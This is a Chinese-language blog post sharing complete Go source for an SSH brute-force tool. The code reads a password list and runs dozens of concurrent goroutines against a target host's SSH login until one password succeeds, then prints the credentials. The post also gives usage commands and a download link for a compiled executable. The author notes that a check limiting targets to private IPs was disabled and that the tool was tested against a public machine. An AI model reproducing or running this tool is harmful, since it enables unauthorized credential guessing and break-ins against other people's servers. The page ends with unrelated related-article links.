Golang 版的ssh爆破小工具
源码如下:
package main import (
"bufio"
"flag"
"fmt"
"golang.org/x/crypto/ssh"
"io"
"os"
"regexp"
"runtime"
"sync"
"time"
)
var (
file string
host string
port int
user string
)
var exit = make(chan bool)
var starttime = time.Now()
var wg = sync.WaitGroup{}
var cpunum = runtime.NumCPU() func init() {
//获取命令行配置信息
flag.StringVar(&file,"f","pass.txt","密码文件")
flag.StringVar(&host,"h","127.0.0.1","ip地址")
flag.IntVar(&port,"p",22,"端口地址")
flag.StringVar(&user,"u","root","用户名")
} func main(){
defer testtime(starttime)
flag.Parse()
//match := CheckIp(host)
//if !match {
// fmt.Println("ip错误,只能用于内网ip地址。\n正则验证规则:`^(192\\.168(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|172\\.(1[6-9]|2\\d|3[0,1])(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|10(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){3})$`")
// return
//}
if host == "127.0.0.1" {
fmt.Printf("[-]Usage %s -h=192.168.1.1\n",os.Args[0])
fmt.Println("密码字典默认为同目录下的:pass.txt。可以通过:-f=xx.txt指定")
return
}
passchan := make(chan string)
//开启一个pass读取协程将读取到的密码赋予给一个passchan通道。
go func(){
file,err := os.Open(file)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer file.Close()
bf := bufio.NewReader(file)
for {
str,err := bf.ReadString('\n')
if err != nil {
if err == io.EOF {
fmt.Println("文件读取完毕")
}else {
fmt.Println("读取文件错误",err)
}
close(passchan)
return
}
passchan<- str[:len(str)-2]
}
}() //开启一个ssh链接协程,监听passchan通道,并创建链接
ip := fmt.Sprintf("%s:%d", host, port)
worknum := (cpunum-1)*20
for i:=0; i<worknum; i++ {
wg.Add(1)
go SshConnect(ip,passchan)
}
wg.Wait()
//time.Sleep(time.Second*15)
} //ssh链接函数
func SshConnect(ip string, passchan chan string) {
for {
select {
case pass,ok := <-passchan :
if !ok {
wg.Done()
return
}
client := &ssh.ClientConfig{
User: user,
Timeout: time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Auth: []ssh.AuthMethod{ssh.Password(pass)},
}
_,err := ssh.Dial("tcp",ip,client)
if err == nil {
fmt.Printf("%s 爆破成功。账号:%s,密码:%v",ip,client.User,pass)
testtime(starttime)
os.Exit(1)
}
case <-time.After(time.Second * 60) :
fmt.Println("链接ssh出错,在select处退出")
os.Exit(1)
}
}
} func CheckIp(ip string) bool {
// 0-255
//(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5]) //192.168.0.0 - 192.168.255.255
//192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //172.16.0.0 - 172.31.255.255
//172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //10.0.0.0 - 10.255.255.255
//10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3}
match,err := regexp.MatchString(`^(192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3})$`,ip)
if err != nil{
fmt.Println(err)
return false
}
return match
} func testtime(start time.Time) {
fmt.Println("运行时间:",time.Since(start))
}
并发数为:(CPU-1)*20。我本地4核,也就是60条并发协程。
ssh链接超时为1秒,经过测试1000条记录,20s跑完。(香港阿里云机器)
使用:
xxx.exe -h=192.168.1.1 -p=22 -f=mima.txt -u=root
其中:-p可以不指定,默认为22端口。-u可以不指定,默认为root。-f可以不指定,默认为同目录下的pass.txt文件。
其中的 Checkip 函数原目的为限制ip只能为内网ip地址,但只有公网测试地址,就没使用了。
总结:
通过 sync 包下的 WaitGroup 来控制所有协程的结束,但是这里却有一点问题,就是假如正确密码在文本的最后几行(差不多20行内),却得不到正确的返回。
猜测可能是最后的协程并没有执行完毕,协程就被迫结束了。我在最后添加了延迟10秒,发现效果也不好,不知道怎么解决这个问题。
同时文本最后一行的密码读取不到,因为读取最后一行时,err == io.EOF,导致Close(chan)关闭了通道,因为上面的问题,所以这个无关紧要了。
编译好的exe文件地址:
链接: https://pan.baidu.com/s/1q4V6swxn-BXpKQtq39Udcg 提取码: 89tf
Golang 版的ssh爆破小工具的更多相关文章
- C#7.2——编写安全高效的C#代码 c# 中模拟一个模式匹配及匹配值抽取 走进 LINQ 的世界 移除Excel工作表密码保护小工具含C#源代码 腾讯QQ会员中心g_tk32算法【C#版】
C#7.2——编写安全高效的C#代码 2018-11-07 18:59 by 沉睡的木木夕, 123 阅读, 0 评论, 收藏, 编辑 原文地址:https://docs.microsoft.com/ ...
- 用Python写个自动ssh登录远程服务器的小工具
很多时候我们喜欢在自己电脑的终端直接ssh连接Linux服务器,而不喜欢使用那些有UI界面的工具区连接我们的服务器.可是在终端使用ssh我们每次都需要输入账号和密码,这也是一个烦恼,所以我们可以简单的 ...
- 想用Electron做个小工具?这个或许是终极版
故事背景 之前在网上有看到很多小伙伴基于 electron 实现了非常多好用的桌面端工具,比如图床管理工具 PicGo,就专门做图床工具.也有一些其他的类似的小工具,比如 saladict-deskt ...
- 经纬坐标(BLH)数据创建.kml文件小工具设计 Java版
技术背景 KML,是标记语言(Keyhole Markup Language)的缩写,最初由Keyhole公司开发,是一种基于XML 语法与格式的.用于描述和保存地理信息(如点.线.图像.多边形和模型 ...
- 2014年Windows平台软件推荐:神器小工具(骨灰级
原文 http://www.wtoutiao.com/a/120621.html 底层工具 “If you know how to use Process Monitor competently, ...
- Windows平台软件推荐:神器小工具(骨灰级)
底层工具 "If you know how to use Process Monitor competently, people of both sexes will immediately ...
- 介绍两个Ubuntu上的桌面小工具
经常使用Windows10,Sticky Notes和壁纸自动切换功能挺好用的.我经常会使用Sticky Notes来记录一些信息,内容是实时保存的,而且启动的时候会自动显示在桌面上.其实Ubuntu ...
- 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”
这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...
- bug检测报告---礼物挑选小工具--飞天小女警
飞天小女警----礼物挑选小工具 测试产品链接:http://123.207.159.79:8088/giving_gifts/ 发布在作者的博客里面:http://www.cnblogs.com/s ...
随机推荐
- 转载--对batch normalization的理解
转载的大神的: https://www.cnblogs.com/guoyaohua/p/8724433.html 上边这个应该是抄的下边这个原文,但是上边的有重点标记 https://blog.csd ...
- [LeetCode]147. Insertion Sort List链表排序
插入排序的基本思想 把排好的放在一个新的变量中,每次拿出新的,排进去 这个新的变量要有超前节点,因为第一个节点可能会有变动 public ListNode insertionSortList(List ...
- Ubuntu+KVM显卡透传
好久没有更新微博了,最近有点忙,大家见谅啊!今天带来的是我前段时间做的东西,也就是在 Ubuntu下做KVM虚拟机显科透传.(最近人有点懒,其实有几次是有时间更新的,但是就是懒得动,唉!得保持清醒不能 ...
- 推荐一款自研的Java版开源博客系统OneBlog
OneBlog 一款超好用的Java版开源博客 Introduction 简介 OneBlog 一个简洁美观.功能强大并且自适应的Java博客.使用springboot开发,前端使用Boot ...
- 元旦在家撸了两天Seata源码,你们是咋度过的呢?
撸Seata源码 2020年12月31日晚23点30分,我发了2020年的最后一个朋友圈:假期吃透Seata源码,有组队的吗? 不少小伙伴都来点赞了, 其中也包括Seata项目的发起人--季敏大佬哦! ...
- sql文件转换为excel文件
最近经常需要把sql整理成excel,本人比较懒,所以写一个小工具,用到了jxl包.以前没有接触过,正好了解一下. 一.基础知识 jxl操作excel包括对象 Workbook,Sheet ...
- nacos统一配置中心源码解析
配置文件想必大家都很熟悉,无论什么架构 都离不开配置,虽然spring boot已经大大简化了配置,但如果服务很多 环境也好几个,管理配置起来还是很麻烦,并且每次改完配置都需要重启服务,nacos c ...
- HSRP技术(热备份)学习总结
热备份学习视频https://www.bilibili.com/video/BV1i7411G7vm?p=78 • 命令: ○ int fa0/x ○ standby 1 ...
- 【Git】命令行操作
Git 命令行操作 1 本地库初始化 git init:初始化本地仓库 效果 注意:.git目录中存放的是本地库相关的子目录和文件,不要删除,也不要胡乱修改. 2 设置签名 形式: 用户名:tom E ...
- 【C++】《C++ Primer 》第十二章
第十二章 动态内存 目前为止,所使用的对象都有着严格定义的生存期. 全局对象在程序启动时分配,在程序结束时销毁.局部自动对象在进入其定义所在的程序块时被创建,在离开块时销毁.局部static对象在第一 ...